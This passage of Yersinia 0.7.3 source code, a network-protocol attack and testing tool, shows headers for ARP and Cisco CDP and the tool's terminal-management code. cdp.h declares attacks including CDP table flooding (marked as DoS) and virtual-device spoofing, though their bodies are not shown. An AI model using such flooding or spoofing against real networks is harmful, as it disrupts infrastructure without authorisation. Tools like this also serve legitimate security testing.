(*end_t)(struct term_node *); typedef void *(*get_extra_field_t)(struct term_node *, void *, u_int8_t); struct protocol_def { u_int8_t proto; /* Proto id */ char namep[MAX_PROTO_NAME]; /* Proto name */ char description[MAX_PROTO_DESCRIPTION]; /* Proto description */ char name_comm[MAX_PROTO_NAME]; /* Protocol name for CLI interface */ u_int8_t active; /* Active or not */ u_int16_t size; /* Struct size */ init_attribs_t init_attribs; learn_packet_t learn_packet; get_printable_packet_t get_printable_packet; get_printable_store_t get_printable_store; load_values_t load_values; struct attack *attacks; struct pcap_data stats[MAX_PACKET_STATS]; update_field_t update_field; edit_tlv_t edit_tlv; const struct tuple_type_desc *ttd; struct attack_param *tlv; u_int16_t tlv_params; u_int32_t packets; u_int32_t packets_out; struct proto_features *features; void *default_values; init_commands_struct_t init_commands_struct; /* Function for initialize commands struct */ struct commands_param *parameters; u_int8_t nparams; #ifdef HAVE_REMOTE_ADMIN u_int8_t *params_sort; #endif struct commands_param_extra *extra_parameters; u_int8_t extra_nparams; get_extra_field_t get_extra_field; u_int8_t visible; /* Visible */ end_t end; }; struct protocol_def protocols[MAX_PROTOCOLS]; void protocol_init(void); int8_t protocol_register(u_int8_t, const char *, const char *, const char *, u_int16_t, init_attribs_t, learn_packet_t, get_printable_packet_t, get_printable_store_t, load_values_t, struct attack *, update_field_t, struct proto_features *, struct commands_param *, u_int8_t, struct commands_param_extra *, u_int8_t, get_extra_field_t, init_commands_struct_t, u_int8_t, end_t); int8_t protocol_register_tlv(u_int8_t, edit_tlv_t, const struct tuple_type_desc *, struct attack_param *, u_int16_t); void protocol_register_all(void); void protocol_destroy(void); char **protocol_create_printable(u_int8_t, struct commands_param *); int8_t protocol_extra_compare(void *, void *); #ifdef HAVE_REMOTE_ADMIN char *protocol_sort_str(char *, char *); void protocol_sort_params(u_int8_t, u_int8_t *, u_int8_t); #endif extern void write_log( u_int16_t mode, char *msg, ... ); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/arp.h0000644000175000017500000000514012234207266012674 0ustar nknk/* arp.h * Defintions for Address Resolution Protocol * * $Id: arp.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __ARP_H__ #define __ARP_H__ #include #include "terminal-defs.h" #include "interfaces.h" #define ARP_SMAC 0 #define ARP_DMAC 1 #define ARP_FORMATHW 2 #define ARP_FORMATPROTO 3 #define ARP_LENHW 4 #define ARP_LENPROTO 5 #define ARP_OP 6 /* ARP stuff */ struct arp_data { /* ARP and Ethernet fields*/ u_int16_t formathw; u_int16_t formatproto; u_int8_t lenhw; u_int8_t lenproto; u_int16_t op; /* Ethernet Data */ u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; }; static struct proto_features arp_features[] = { { F_ETHERTYPE, ETHERTYPE_ARP || ETHERTYPE_REVARP}, { -1, 0} }; static struct attack arp_attack[] = { { 0, NULL, 0, 0, NULL, NULL, 0 } }; void arp_register(void); extern void thread_libnet_error(char *, libnet_t *); extern int8_t vrfy_bridge_id(char *, u_int8_t * ); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t thread_create(pthread_t *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_command2index(register const struct attack *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/cdp.h0000644000175000017500000002611212234207266012662 0ustar nknk/* cdp.h * Definitions for Cisco Discovery Protocol * $Id: cdp.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __CDP_H__ #define __CDP_H__ #include #include "terminal-defs.h" #include "interfaces.h" #define CDP_VERSION 0x01 #define CDP_TYPE_DEVID 0x0001 #define CDP_TYPE_ADDRESS 0x0002 #define CDP_TYPE_PORTID 0x0003 #define CDP_TYPE_CAPABILITY 0x0004 #define CDP_TYPE_VERSION 0x0005 #define CDP_TYPE_PLATFORM 0x0006 #define CDP_TYPE_IPPREFIX 0x0007 #define CDP_TYPE_PROTOCOL_HELLO 0x0008 #define CDP_TYPE_VTP_MGMT_DOMAIN 0x0009 #define CDP_TYPE_NATIVE_VLAN 0x000A #define CDP_TYPE_DUPLEX 0x000B #define CDP_TYPE_VOIP_VLAN_REPLY 0x000E #define CDP_TYPE_VOIP_VLAN_QUERY 0x000F #define CDP_TYPE_MTU 0x0011 #define CDP_TYPE_TRUST_BITMAP 0x0012 #define CDP_TYPE_UNTRUSTED_COS 0x0013 #define CDP_TYPE_SYSTEM_NAME 0x0014 #define CDP_TYPE_SYSTEM_OID 0x0015 #define CDP_TYPE_MANAGEMENT_ADDR 0x0016 #define CDP_TYPE_LOCATION 0x0017 #define CDP_CAP_LEVEL3_ROUTING 0x01 #define CDP_CAP_LEVEL2_TRANS_BRIDGE 0x02 #define CDP_CAP_LEVEL2_SROUTE_BRIDGE 0x04 #define CDP_CAP_LEVEL2_SWITCH 0x08 /*without STP */ #define CDP_CAP_LEVEL3_ENABLE 0x10 #define CDP_CAP_NON_FORW_IGMP 0x20 #define CDP_CAP_LEVEL1 0x40 #define CDP_TLV_TYPE 0 #define CDP_SMAC 0 #define CDP_DMAC 1 #define CDP_VER 2 #define CDP_TTL 3 #define CDP_CHECKSUM 4 #define CDP_TLV 5 /* Default values */ #define CDP_DFL_VERSION CDP_VERSION #define CDP_DFL_TTL 3*60 /* CDP mode stuff */ struct cdp_data { /* CDP and Ethernet fields*/ u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t version; u_int8_t ttl; u_int16_t checksum; /* u_int8_t tlv_devid[MAX_VALUE_LENGTH+1]; u_int8_t tlv_portid[MAX_VALUE_LENGTH+1]; u_int8_t tlv_platform[MAX_VALUE_LENGTH+1]; u_int8_t tlv_version[MAX_VALUE_LENGTH+1]; u_int32_t tlv_address;*/ u_int8_t options[MAX_TLV*MAX_VALUE_LENGTH]; u_int16_t options_len; void *extra; }; static const struct tuple_type_desc cdp_type_desc[] = { { CDP_TYPE_DEVID, "DevID" }, { CDP_TYPE_ADDRESS, "Addresses" }, { CDP_TYPE_PORTID, "Port ID" }, { CDP_TYPE_CAPABILITY, "Capabilities" }, { CDP_TYPE_VERSION, "Software version" }, { CDP_TYPE_PLATFORM, "Platform" }, { CDP_TYPE_IPPREFIX, "IP Prefix/Gateway" }, { CDP_TYPE_PROTOCOL_HELLO, "Protocol Hello" }, { CDP_TYPE_VTP_MGMT_DOMAIN, "VTP Domain" }, { CDP_TYPE_NATIVE_VLAN, "Native VLAN" }, { CDP_TYPE_DUPLEX, "Duplex" }, { CDP_TYPE_VOIP_VLAN_REPLY, "VoIP VLAN Reply" }, { CDP_TYPE_VOIP_VLAN_QUERY, "VoIP VLAN Query" }, { CDP_TYPE_MTU, "MTU"}, { CDP_TYPE_TRUST_BITMAP, "Trust Bitmap" }, { CDP_TYPE_UNTRUSTED_COS, "Untrusted CoS" }, { CDP_TYPE_SYSTEM_NAME, "System Name" }, { CDP_TYPE_SYSTEM_OID, "System ObjectID" }, { CDP_TYPE_MANAGEMENT_ADDR, "Management Addr" }, { CDP_TYPE_LOCATION, "Location" }, { 0, NULL }, }; static struct attack_param cdp_tlv[] = { { NULL, "DevID", 15, FIELD_STR, 15, NULL }, { NULL, "Addresses", 4, FIELD_IP, 15, NULL }, { NULL, "Port ID", 15, FIELD_STR, 15, NULL }, { NULL, "Capabilities", 4, FIELD_HEX, 8, NULL }, { NULL, "Software version", 15, FIELD_STR, 15, NULL }, { NULL, "Platform", 15, FIELD_STR, 15, NULL } }; static struct proto_features cdp_features[] = { { F_LLC_CISCO, 0x2000 }, { -1, 0 } }; static const struct tuple_type_desc cdp_tlv_desc[] = { { 0, NULL } }; int8_t cdp_tlv_devid(void *, void *, char *); int8_t cdp_tlv_platform(void *, void *, char *); int8_t cdp_tlv_address(void *, void *, char *); int8_t cdp_tlv_portid(void *, void *, char *); int8_t cdp_tlv_version(void *, void *, char *); /* Struct needed for using protocol fields within the network client */ struct commands_param cdp_comm_params[] = { { CDP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { CDP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { CDP_VER, "version", "Version", 1, FIELD_HEX, "Set cdp version", " <0x00-0xFF> cdp version", 2, 2, 0, NULL, NULL }, { CDP_TTL, "ttl", "TTL", 1, FIELD_HEX, "Set cdp ttl", " <0x00-0xFF> cdp Time To Live", 2, 2, 1, NULL, NULL }, { CDP_CHECKSUM, "checksum", "Checksum", 2, FIELD_HEX, "Set cdp checksum", " <0x00-0xFFFF> Packet checksum", 4, 2, 0, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " ", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL }, { CDP_TLV, "tlv", "TLV", 0, FIELD_EXTRA, "", "", 0, 0, 0, NULL, NULL} }; struct commands_param_extra cdp_params_tlv[] = { { CDP_TYPE_DEVID, "devid", "DevID", MAX_STRING_SIZE, FIELD_STR, "Set Device ID", " WORD Device ID", MAX_STRING_SIZE, 1, NULL }, { CDP_TYPE_ADDRESS, "address", "Addresses", 4, FIELD_IP, "Set IP Address", " A.A.A.A IPv4 address", 15, 0, NULL }, { CDP_TYPE_PORTID, "portid", "Port ID", MAX_STRING_SIZE, FIELD_STR, "Set Port ID", " WORD Port ID", MAX_STRING_SIZE, 0, NULL }, { CDP_TYPE_CAPABILITY, "capab", "Capabilities", 4, FIELD_HEX, "Set Capabilities", " <0x00-0xFFFFFFFF> Capabilities", 8, 0, NULL }, { CDP_TYPE_VERSION, "swversion", "Software version", MAX_STRING_SIZE, FIELD_STR, "Set SW Version", " WORD SW Version", MAX_STRING_SIZE, 0, NULL }, { CDP_TYPE_PLATFORM, "platform", "Platform", MAX_STRING_SIZE, FIELD_STR, "Set Platform", " WORD Platform", MAX_STRING_SIZE, 0, NULL }, { CDP_TYPE_IPPREFIX, "gateway", "IP Prefix/Gateway", 4, FIELD_IP, "Set Gateway", " A.A.A.A IPv4 address", 15, 0, NULL }, /* { CDP_TYPE_PROTOCOL_HELLO, "Protocol Hello" },*/ { CDP_TYPE_VTP_MGMT_DOMAIN, "vtpdomain", "VTP Domain", MAX_STRING_SIZE, FIELD_STR, "Set VTP Domain", " WORD VTP Domain", MAX_STRING_SIZE, 0, NULL }, /* { CDP_TYPE_NATIVE_VLAN, "Native VLAN" }, { CDP_TYPE_DUPLEX, "Duplex" }, { CDP_TYPE_VOIP_VLAN_REPLY, "VoIP VLAN Reply" }, { CDP_TYPE_VOIP_VLAN_QUERY, "VoIP VLAN Query" }, { CDP_TYPE_MTU, "MTU"}, { CDP_TYPE_TRUST_BITMAP, "Trust Bitmap" }, { CDP_TYPE_UNTRUSTED_COS, "Untrusted CoS" },*/ { CDP_TYPE_SYSTEM_NAME, "system", "System Name", MAX_STRING_SIZE, FIELD_STR, "Set System Name", " WORD System Name", MAX_STRING_SIZE, 0, NULL }/* { CDP_TYPE_SYSTEM_OID, "System ObjectID" }, { CDP_TYPE_MANAGEMENT_ADDR, "Management Addr" }, { CDP_TYPE_LOCATION, "Location" },*/ }; #define CDP_ATTACK_SEND_CDP 0 #define CDP_ATTACK_FLOOD_CDP 1 #define CDP_ATTACK_VIRTUAL_DEVICE 2 void cdp_th_send_raw(void *); void cdp_th_send_raw_exit(struct attacks *); void cdp_th_flood(void *); void cdp_th_flood_exit(struct attacks *); void cdp_th_virtual_device(void *); void cdp_th_virtual_device_exit(struct attacks *); static struct attack cdp_attack[] = { { CDP_ATTACK_SEND_CDP, "sending CDP packet", NONDOS, SINGLE, cdp_th_send_raw, NULL, 0 }, { CDP_ATTACK_FLOOD_CDP, "flooding CDP table", DOS, CONTINOUS, cdp_th_flood, NULL, 0 }, { CDP_ATTACK_VIRTUAL_DEVICE, "Setting up a virtual device", NONDOS, CONTINOUS, cdp_th_virtual_device, NULL, 0 }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void cdp_register(void); int8_t cdp_send(struct attacks *); void cdp_send_hellos(void *); int8_t cdp_create_tlv_item(struct cdp_data *, u_int16_t, void *); int8_t cdp_update_tlv_item(struct cdp_data *, u_int16_t, char *); int8_t cdp_edit_tlv(struct term_node *, u_int8_t, u_int8_t, u_int16_t, u_int8_t *); char **cdp_get_printable_packet(struct pcap_data *); char **cdp_get_printable_store(struct term_node *); int8_t cdp_load_values(struct pcap_data *, void *); int8_t cdp_update_field(int8_t, struct term_node *, void *); int8_t cdp_init_attribs(struct term_node *); void *cdp_get_extra_field(struct term_node *, void *, u_int8_t); void cdp_send_exit(struct attacks *); char * cdp_get_type_info(u_int16_t); u_int16_t cdp_chksum(u_int8_t *, u_int32_t); int8_t cdp_init_comms_struct(struct term_node *); int8_t cdp_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern void attack_gen_mac(u_int8_t *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_random_string(u_int8_t *, u_int8_t); extern int8_t parser_get_random_int(u_int8_t); extern int8_t parser_command2index(register const struct attack *, register int8_t); extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/md5-sum.c0000644000175000017500000000275612234207266013406 0ustar nknk/* md5_sum.c * Wrapper function for MD5 * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: md5-sum.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include "md5-sum.h" void md5_sum(const u_int8_t *stuff, size_t len, u_char *digest) { struct MD5Context context; MD5Init(&context); MD5Update(&context, stuff, (unsigned) len); MD5Final(digest, &context); } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/terminal.c0000644000175000017500000013370512234207266013731 0ustar nknk/* terminal.c * Implementation of network terminal management * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: terminal.c 46 2007-05-08 09:13:30Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #include #ifdef SOLARIS #include #include #else #include #endif #include "terminal.h" /* * Init terminal list with appropriate values... */ int8_t term_init(void) { int8_t i; terms = (struct terminals *)calloc(1,sizeof(struct terminals)); if (terms == NULL) { thread_error("term_init calloc()", errno); return -1; } if (pthread_mutex_init(&terms->mutex, NULL) != 0) { thread_error("term_init pthread_mutex_init mutex", errno); return -1; } #ifndef HAVE_RAND_R if (pthread_mutex_init(&terms->mutex_rand, NULL) != 0) { thread_error("term_init pthread_mutex_init mutex_rand", errno); return -1; } #endif if (pthread_mutex_init(&terms->pcap_listen_th.finished, NULL) != 0) { thread_error("term_init pthread_mutex_init mutex", errno); return -1; } #ifdef HAS_CURSES if (pthread_mutex_init(&terms->gui_th.finished, NULL) != 0) { thread_error("term_init pthread_mutex_init mutex", errno); return -1; } #endif #ifdef HAVE_GTK if (pthread_mutex_init(&terms->gui_gtk_th.finished, NULL) != 0) { thread_error("term_init pthread_mutex_init mutex", errno); return -1; } #endif if (pthread_mutex_init(&terms->admin_listen_th.finished, NULL) != 0) { thread_error("term_init pthread_mutex_init mutex", errno); return -1; } if (pthread_mutex_init(&terms->uptime_th.finished, NULL) != 0) { thread_error("term_init pthread_mutex_init mutex", errno); return -1; } term_type[TERM_CON].list = terms->list; term_type[TERM_TTY].list = &terms->list[MAX_CON]; term_type[TERM_VTY].list = &terms->list[MAX_CON+MAX_TTY]; for (i=0; itype = TERM_CON; (term_type[TERM_CON].list+i)->number = i; } for (i=0; itype = TERM_TTY; (term_type[TERM_TTY].list+i)->number = i; } for (i=0; itype = TERM_VTY; (term_type[TERM_VTY].list+i)->number = i; } return 0; } /* * Destroy data initialized on term_init(). * Use global variable terms. */ void term_destroy(void) { #ifndef HAVE_RAND_R /* Destroy rand mutex used by the vty terms...*/ pthread_mutex_destroy(&terms->mutex_rand); #endif pthread_mutex_destroy(&terms->admin_listen_th.finished); pthread_mutex_destroy(&terms->gui_th.finished); pthread_mutex_destroy(&terms->pcap_listen_th.finished); pthread_mutex_destroy(&terms->uptime_th.finished); /* Destroy terminal list mutex... */ pthread_mutex_destroy(&terms->mutex); thread_free_r(terms); } /* * Add a new terminal node. * Parameter '*node' will be NULL if no slots available. * Return -1 on error, 0 if Ok. * Use global array term_type[] */ int8_t term_add_node(struct term_node **node, int8_t type, int32_t sock, pthread_t tid) { int8_t i; struct term_vty *vty; struct term_console *console; struct term_tty *tty; struct term_node *new = term_type[type].list; for (i=0; (i < term_type[type].max) ; i++, new++) { if (!new->up) { new->thread.id = tid; new->thread.stop = 0; if (pthread_mutex_init(&new->thread.finished, NULL) != 0) { thread_error("term_add_node pthread_mutex_init", errno); return -1; } new->state = LOGIN_STATE; /* Default value for MAC spoofing is ON (that's evil!) */ new->mac_spoofing = (tty_tmp->mac_spoofing == -1) ? 1 : tty_tmp->mac_spoofing; new->pcap_file.name = NULL; new->pcap_file.pd = NULL; new->pcap_file.pdumper = NULL; new->used_ints = (list_t *) calloc(1, sizeof(list_t)); new->used_ints->cmp = interfaces_compare; switch(type) { case TERM_CON: new->timeout = TTY_TIMEOUT; new->specific = (void *) calloc(1,sizeof(struct term_console)); if (new->specific == NULL) { thread_error("term_add_node console calloc()",errno); return -1; } console = new->specific; #if defined (TIOCGWINSZ) && defined (HAVE_NCURSES_RESIZETERM) console->need_resize = 0; #endif break; case TERM_TTY: new->timeout = TTY_TIMEOUT; new->specific = (void *) calloc(1,sizeof(struct term_tty)); if (new->specific == NULL) { thread_error("term_add_node tty calloc()",errno); return -1; } tty = new->specific; tty->term = NULL; tty->daemonize = 0; tty->debug = 0; tty->interactive = 0; tty->gtk = 0; tty->attack = -1; tty->config_file[0] = '\0'; break; case TERM_VTY: new->timeout = term_states[LOGIN_STATE].timeout; new->specific = (void *) calloc(1,sizeof(struct term_vty)); if (new->specific == NULL) { thread_error("term_add_node vty calloc()",errno); return -1; } vty = new->specific; vty->width = MID_TERM_WIDTH; vty->height = MID_TERM_HEIGHT; vty->sock = sock; vty->insertmode = 1; break; } new->up = 1; /* initialize the tmp_data structure for each different protocol */ for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; new->protocol[i].pcap_file.name = NULL; new->protocol[i].pcap_file.pd = NULL; new->protocol[i].pcap_file.pdumper = NULL; strncpy(new->protocol[i].name, protocols[i].namep, MAX_PROTO_NAME); new->protocol[i].tmp_data = calloc(1, protocols[i].size); if (new->protocol[i].tmp_data == NULL) { thread_error("term_add_node tmp_data calloc()", errno); return -1; } /* Copy the default values */ memcpy((void *)new->protocol[i].tmp_data, (void *)protocols[i].default_values, protocols[i].size); new->protocol[i].proto = protocols[i].proto; /* Initialize the default values */ if (protocols[i].init_attribs) protocols[i].init_attribs(new); } /* Initialize the commands_struct for each protocol */ for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; if (protocols[i].init_commands_struct) { if ( protocols[i].init_commands_struct(new) == -1) return -1; } } *node = new; return 0; } } /* for...*/ *node = NULL; return 0; } /* * Delete terminal from array. * Close peer socket, free command history and release the acquired slot. * Kill the thread if kill_th. */ void term_delete_node(struct term_node *node, int8_t kill_th) { int8_t i, type_aux,number_aux; /* struct term_console *console; struct term_tty *tty;*/ struct term_vty *vty; if (node->up) { /* First, remove terminal specific data...*/ switch(node->type) { /* case TERM_CON: console = node->specific; break; case TERM_TTY: tty = node->specific; break; */ case TERM_VTY: vty = node->specific; /* Free history...*/ for(i=0; ihistory[i] != NULL) thread_free_r(vty->history[i]); } close(vty->sock); /* Free transmission buffer...*/ if (vty->buffer_tx) thread_free_r(vty->buffer_tx); if (kill_th == KILL_THREAD) { thread_destroy(&node->thread); } break; } thread_free_r(node->specific); for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; if (node->protocol[i].pcap_file.pdumper) interfaces_pcap_file_close(node,i); thread_free_r(node->protocol[i].tmp_data); } /* free the commands_struct for each protocol */ for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; if (protocols[i].init_commands_struct) thread_free_r(node->protocol[i].commands_param); } /* Preserve terminal type and number...*/ type_aux = node->type; number_aux = node->number; dlist_delete(node->used_ints->list); if (node->used_ints) free(node->used_ints); memset(node,0,sizeof(struct term_node)); node->type = type_aux; node->number = number_aux; } /* if (node->up) */ } /* * Delete all terminals from array. */ void term_delete_all(void) { term_delete_all_console(); term_delete_all_tty(); term_delete_all_vty(); } /* * Delete all consoles from array. * Be aware of using pthread_mutex_lock and unlock * before and after calling it!! */ void term_delete_all_console(void) { term_delete_class(term_type[TERM_CON].list, term_type[TERM_CON].max); } /* * Delete all tty terminals from array. * Be aware of using pthread_mutex_lock and unlock * before and after calling it!! */ void term_delete_all_tty(void) { term_delete_class(term_type[TERM_TTY].list, term_type[TERM_TTY].max); } /* * Delete all vty terminals from array. * Be aware of using pthread_mutex_lock and unlock * before and after calling it!! */ void term_delete_all_vty(void) { term_delete_class(term_type[TERM_VTY].list, term_type[TERM_VTY].max); } /* * Delete a group of 'max' terminals from array beginning at *cursor. * In fact this function just kill the thread associated with the terminal. * The thread will be who will delete the data so here we don't need to * acquire the terms mutex (each thread will acquire it). */ void term_delete_class(struct term_node *cursor, int8_t max) { int8_t i; for (i=0; imutex_rand) != 0) { thread_error("term_motd pthread_mutex_lock()",errno); return -1; } j=rand(); if (pthread_mutex_unlock(&terms->mutex_rand) != 0) { thread_error("term_motd pthread_mutex_unlock()",errno); return -1; } #endif j = j % SIZE_ARRAY(vty_motd); return j; } /* * Write the vty prompt. * Return -1 if error. 0 if Ok. */ int8_t term_vty_prompt(struct term_node *node) { struct term_vty *vty = node->specific; switch(node->state) { case LOGIN_STATE: case PASSWORD_STATE: return( term_vty_write(node, term_states[node->state].prompt2, strlen(term_states[node->state].prompt2)) ); break; case NORMAL_STATE: if (vty->authing) return(term_vty_write(node, term_states[node->state].prompt_authing, strlen(term_states[node->state].prompt_authing))); return( term_vty_write(node, term_states[node->state].prompt2, strlen(term_states[node->state].prompt2))); break; case ENABLE_STATE: if (vty->authing) return(term_vty_write(node, term_states[node->state].prompt_authing, strlen(term_states[node->state].prompt_authing))); return( term_vty_write(node, term_states[node->state].prompt2, strlen(term_states[node->state].prompt2)) ); break; case PARAMS_STATE: if (term_vty_write(node,"[",1) < 0) return -1; if (term_vty_write(node, vty->attack_param[vty->substate].desc, strlen(vty->attack_param[vty->substate].desc)) < 0) return -1; return (term_vty_write(node,"] ",2)); break; case INTERFACE_STATE: return( term_vty_write(node, term_states[node->state].prompt2, strlen(term_states[node->state].prompt2)) ); break; } return -1; } /* * Send the vty telnet negotiation. * Return -1 if error. Return 0 if Ok. */ int8_t term_vty_negotiate(struct term_node *node) { if (term_vty_write(node, (char *)neg_default, sizeof(neg_default))) return -1; return 0; } /* * Write to terminal. * Return -1 on error. Return 0 if OKk. */ int8_t term_write(struct term_node *node, char *message, u_int16_t size) { struct term_vty *vty = node->specific; switch(node->type) { case TERM_CON: break; case TERM_TTY: break; case TERM_VTY: if (write(vty->sock, message, size) <= 0 ) { thread_error("term_write write()",errno); return -1; } break; default: break; } return 0; } /* * Move cursor to beginning of line. * Return -1 on error. Return 0 if Ok. */ int8_t term_vty_mv_cursor_init(struct term_node *node) { struct term_vty *vty = node->specific; int8_t control = DEL; if (!vty->command_cursor) return 0; while(vty->command_cursor) { if ( term_vty_write(node,(char *)&control,1) == -1) return -1; vty->command_cursor--; } return 0; } /* * Move cursor to the left. * Return -1 on error. Return 0 if Ok. */ int8_t term_vty_mv_cursor_left(struct term_node *node) { struct term_vty *vty = node->specific; int8_t control = DEL; if (!vty->command_cursor) return 0; if ( term_vty_write(node,(char *)&control,1) ) return -1; if (term_vty_flush(node)) return -1; vty->command_cursor--; return 0; } /* * Move cursor to the right. * Return -1 on error. Return 0 if Ok. */ int8_t term_vty_mv_cursor_right(struct term_node *node) { struct term_vty *vty = node->specific; if (!vty->command_len) return 0; if (vty->command_cursor == vty->command_len ) return 0; if ( term_vty_write(node,(char *)&vty->buf_command[vty->command_cursor], 1) ) return -1; if ( term_vty_flush(node)) return -1; vty->command_cursor++; return 0; } /* * Move cursor to end of line. * Return -1 on error. Return 0 if Ok. */ int8_t term_vty_mv_cursor_end(struct term_node *node) { struct term_vty *vty = node->specific; if (!vty->command_len) return 0; if (vty->command_cursor == vty->command_len ) return 0; while(vty->command_cursor != vty->command_len) { if ( term_vty_write(node, (char *)&vty->buf_command[vty->command_cursor],1) ) return -1; vty->command_cursor++; } return 0; } /* * Delete the character on cursor. * Return -1 on error. Return 0 if Ok. */ int8_t term_vty_supr(struct term_node *node) { struct term_vty *vty = node->specific; if (vty->command_len) { if (vty->command_cursor != vty->command_len ) { u_int16_t len; char *auxstr, *message=NULL; if (vty->command_cursor == (vty->command_len - 1) ) len=1; else len = vty->command_len - vty->command_cursor; if (vty->command_cursor == (vty->command_len - 1) ) auxstr = strdup(&vty->buf_command[vty->command_cursor]); else auxstr = strdup(&vty->buf_command[vty->command_cursor+1]); memcpy( &vty->buf_command[vty->command_cursor], auxstr, len); free(auxstr); vty->command_len--; vty->buf_command[vty->command_len]=0; if (term_states[node->state].do_echo) { if (term_vty_clear_line(node,len) == -1) return -1; if (term_vty_write(node, &vty->buf_command[vty->command_cursor], len) == -1) return -1; if (len-1) { message = (char *)malloc(len-1); memset(message, DEL, len-1); if (term_vty_write(node, message,len-1) == -1) { free(message); return -1; } } if (term_vty_flush(node) == -1) { if (message) free(message); return -1; } if (message) free(message); } } } return 0; } /* * Do command. * Return -1 on error. 0 if OK. */ int8_t term_vty_do_command(struct term_node *node) { int16_t i; int8_t gotit=0, fail=0; char msg[128]; struct words_array *warray; struct term_vty *vty = node->specific; if (!vty->command_len && !vty->authing) return 0; vty->buf_command[vty->command_len]=0; switch(node->state) { case LOGIN_STATE: strncpy(node->username,vty->buf_command, sizeof(node->username)); node->state = 